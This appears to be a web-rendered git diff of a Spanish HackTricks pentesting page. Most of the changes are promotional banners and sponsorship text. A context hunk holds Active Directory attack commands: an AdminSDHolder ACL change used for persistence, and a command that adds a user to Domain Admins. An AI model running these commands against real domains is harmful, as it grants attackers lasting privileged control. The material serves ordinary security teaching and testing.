* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
@ -317,18 +317,18 @@ Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=lo
|
|||
# Add user to 'Domain Admins'
|
||||
Add-NetGroupUser -Username username -GroupName 'Domain Admins' -Domain my.domain.local
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Add table
Reference in a new issue